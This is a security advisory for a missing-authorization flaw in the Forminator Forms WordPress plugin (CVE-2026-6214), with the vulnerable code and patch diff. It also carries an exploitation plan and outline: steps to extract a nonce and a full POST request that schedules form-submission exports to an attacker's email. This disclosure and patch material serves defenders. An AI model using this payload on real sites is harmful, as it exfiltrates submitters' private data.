CVE-2026-6214

Forminator Forms <= 1.53.0 - Missing Authorization to Authenticated (Subscriber+) Scheduled Form Submission Export via forminator_export_entries Action on wp_loaded Hook

mediumMissing Authorization
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
1.53.0.1
Patched in
1d
Time to patch

Description

The Forminator Forms plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 1.53.0. This is due to the listen_for_saving_export_schedule() function in library/class-export.php failing to perform a capability check before saving the scheduled export configuration, unlike the parallel listen_for_csv_export() function which correctly verifies user permissions. This makes it possible for authenticated attackers with subscriber-level access to configure a scheduled export job that emails all form submissions to an attacker-controlled email address, resulting in sensitive data exfiltration.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.53.0
PublishedMay 6, 2026
Last updatedMay 7, 2026
Affected pluginforminator

What Changed in the Fix

Changes introduced in v1.53.0.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan - CVE-2026-6214 - Forminator Forms Scheduled Export Missing Authorization ## Vulnerability Summary The Forminator Forms plugin (<= 1.53.0) contains a missing authorization vulnerability in the `Forminator_Export::listen_for_saving_export_schedule()` function. This function is hooked…

Show full research plan

Research Plan - CVE-2026-6214 - Forminator Forms Scheduled Export Missing Authorization

Vulnerability Summary

The Forminator Forms plugin (<= 1.53.0) contains a missing authorization vulnerability in the Forminator_Export::listen_for_saving_export_schedule() function. This function is hooked to wp_loaded and handles the configuration of scheduled entry exports via email. While it verifies a WordPress nonce, it fails to perform any capability checks (such as forminator_is_user_allowed('forminator-entries')). Consequently, any authenticated user (Subscriber level and above) who can obtain a valid nonce can configure a scheduled export job to send all form submissions to an arbitrary email address.

Attack Vector Analysis

  • Endpoint: Any WordPress URL that triggers wp_loaded, typically /wp-admin/admin-ajax.php.
  • Action: forminator_export_entries (passed via $_POST['action']).
  • Required Authentication: Subscriber-level account.
  • Vulnerable Code: library/class-export.php in listen_for_saving_export_schedule().
  • Payload Parameters:
    • action: forminator_export_entries
    • _forminator_nonce: Nonce generated for the forminator_export action.
    • form_id: The ID of the form to export.
    • form_type: Usually form (could be poll or quiz).
    • enabled: true (to activate the schedule).
    • email[]: The attacker's email address to receive the CSV exports.
    • interval: daily, weekly, or monthly.
    • hour: HH:MM (e.g., 00:00).

Code Flow

  1. Entry Point: Forminator_Export::__construct() registers add_action( 'wp_loaded', array( &$this, 'listen_for_saving_export_schedule' ) );.
  2. Action Trigger: The function checks if Forminator_Core::sanitize_text_field( 'action' ) equals forminator_export_entries.
  3. Nonce Verification: It verifies _forminator_nonce against the action forminator_export.
  4. Missing Check: Unlike listen_for_csv_export(), it does not call forminator_is_user_allowed( 'forminator-entries' ).
  5. State Modification: The function proceeds to update the forminator_entries_export_schedule option with the attacker-supplied email and schedule configuration.

Nonce Acquisition Strategy

The nonce for forminator_export is required. In Forminator, nonces are often localized into the forminatorData JavaScript object and enqueued for authenticated users in the admin dashboard.

  1. Access Dashboard: Log in as a Subscriber and navigate to /wp-admin/.
  2. Identify Nonce: Forminator often localizes nonces in admin/classes/class-admin-data.php.
  3. Extraction:
    • Use browser_navigate to go to /wp-admin/.
    • Use browser_eval to extract the nonce.
    • The nonce for exports is typically found in window.forminatorData.formExportNonce or a similar key.
    • Note: If the key formExportNonce corresponds to forminator_popup_export_form, verify if the listen_for_saving_export_schedule function accepts it. If the plugin uses a common nonce for all export actions, any of formExportNonce, pollExportNonce, or quizExportNonce might work if they map to the forminator_export action.
    • Confirmed Identifier: Based on library/class-export.php, the server expects wp_verify_nonce( $nonce, 'forminator_export' ).

Exploitation Strategy

  1. Preparation:
    • Ensure a form (e.g., ID 1) exists with some submissions.
  2. Login: Authenticate as a Subscriber.
  3. Nonce Fetch:
    • Navigate to /wp-admin/.
    • Execute browser_eval("window.forminatorData?.formExportNonce").
    • If null, grep the page source for forminator_export.
  4. Execution:
    • Use http_request to send a POST request to /wp-admin/admin-ajax.php.
  5. Payload:
    POST /wp-admin/admin-ajax.php HTTP/1.1
    Content-Type: application/x-www-form-urlencoded
    
    action=forminator_export_entries&_forminator_nonce=[NONCE]&form_id=1&form_type=form&enabled=true&email[]=attacker@example.com&interval=daily&hour=00:00
    

Test Data Setup

  1. Create Form: Use WP-CLI to ensure at least one Forminator form exists.
    # Create a simple form if one doesn't exist
    wp post create --post_type=forminator_forms --post_title="Sensitive Data Form" --post_status=publish
    
  2. Add Submissions: Submit the form once to ensure there is data to export.
  3. Create Attacker: Create a subscriber user.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
    

Expected Results

  • The server should return a redirect (302) or a success message (depending on the specific version's response logic in listen_for_saving_export_schedule).
  • If successful, the redirection URL will not contain the err_msg parameter for "Invalid request".

Verification Steps

  1. Check Database: Use WP-CLI to inspect the scheduled export configuration.
    wp option get forminator_entries_export_schedule
    
  2. Verify Content: Ensure the option contains attacker@example.com for the corresponding form_id.

Alternative Approaches

If formExportNonce is not accessible to Subscribers on the general dashboard:

  1. Check Page Source: Look for other enqueued scripts or localized data on any /wp-admin/ page.
  2. Bypass Check: Verify if _forminator_nonce is strictly required. In some versions, if the nonce is missing and the user is authenticated, the behavior might differ, though the code suggests it is required.
  3. Referer Trick: If the redirection logic is used, check if the plugin leaks the nonce in any error messages or redirect parameters.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Forminator Forms plugin for WordPress is vulnerable to unauthorized sensitive data exfiltration in versions up to 1.53.0. This is due to a missing capability check in the `listen_for_saving_export_schedule()` function, allowing authenticated users with Subscriber-level access to configure scheduled email exports of form submissions to an arbitrary email address.

Vulnerable Code

// library/class-export.php:186
	public function listen_for_saving_export_schedule() {
		$action = Forminator_Core::sanitize_text_field( 'action' );
		if ( 'forminator_export_entries' === $action ) {
			$nonce = Forminator_Core::sanitize_text_field( '_forminator_nonce' );
			if ( ! $nonce || ! wp_verify_nonce( $nonce, 'forminator_export' ) ) {

				$redirect = add_query_arg(
					array(
						'err_msg' => rawurlencode( esc_html__( 'Invalid request, you are not allowed to do that action.', 'forminator' ) ),
					)
				);

				wp_safe_redirect( $redirect );
				exit;
			}

			$data = $this->get_entries_export_schedule();

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.53.0/admin/abstracts/class-admin-module-edit-page.php /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.53.0.1/admin/abstracts/class-admin-module-edit-page.php
--- /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.53.0/admin/abstracts/class-admin-module-edit-page.php	2026-03-25 12:49:34.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.53.0.1/admin/abstracts/class-admin-module-edit-page.php	2026-04-21 16:08:34.000000000 +0000
@@ -993,9 +993,16 @@
 				break;
 		}
 
+		$slug = 'forminator-cform';
+		if ( 'poll' === static::$module_slug ) {
+			$slug = 'forminator-poll';
+		} elseif ( 'quiz' === static::$module_slug ) {
+			$slug = 'forminator-quiz';
+		}
 		// Verify nonce.
 		$nonce = Forminator_Core::sanitize_text_field( $nonce_name );
-		if ( ! $nonce || ! wp_verify_nonce( $nonce, $nonce_action ) ) {
+		if ( ! $nonce || ! wp_verify_nonce( $nonce, $nonce_action )
+			|| ! forminator_is_user_allowed( $slug ) ) {
 			return;
 		}
 
--- /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.53.0/library/class-export.php	2026-04-20 10:11:48.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/forminator/1.53.0.1/library/class-export.php	2026-04-21 16:08:34.000000000 +0000
@@ -188,14 +188,15 @@
 		$action = Forminator_Core::sanitize_text_field( 'action' );
 		if ( 'forminator_export_entries' === $action ) {
 			$nonce = Forminator_Core::sanitize_text_field( '_forminator_nonce' );
-			if ( ! $nonce || ! wp_verify_nonce( $nonce, 'forminator_export' ) ) {
 
-				$redirect = add_query_arg(
-					array(
-						'err_msg' => rawurlencode( esc_html__( 'Invalid request, you are not allowed to do that action.', 'forminator' ) ),
-					)
-				);
+			$redirect = add_query_arg(
+				array(
+					'err_msg' => rawurlencode( esc_html__( 'Invalid request, you are not allowed to do that action.', 'forminator' ) ),
+				)
+			);
 
+			if ( ! $nonce || ! wp_verify_nonce( $nonce, 'forminator_export' )
+					|| ! forminator_is_user_allowed( 'forminator-entries' ) ) {
 				wp_safe_redirect( $redirect );
 				exit;
 			}
... (truncated)

Exploit Outline

1. Login as an authenticated user with at least Subscriber-level privileges. 2. Navigate to the WordPress admin dashboard and extract a valid `forminator_export` nonce, which is often enqueued within the `forminatorData` or `forminatorl10n` JavaScript objects (e.g., `window.forminatorData.exporter.export_nonce`). 3. Identify the `form_id` of the target form containing sensitive submissions. 4. Send a POST request to `/wp-admin/admin-ajax.php` (or any endpoint triggering `wp_loaded`) with the following body: `action=forminator_export_entries`, `_forminator_nonce=[EXTRACTED_NONCE]`, `form_id=[TARGET_ID]`, `form_type=form`, `enabled=true`, and `email[]=[ATTACKER_EMAIL]`. 5. The plugin will save the scheduled export configuration without verifying the attacker's permissions, leading to periodic CSV exports of form submissions being sent to the specified attacker-controlled email address.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.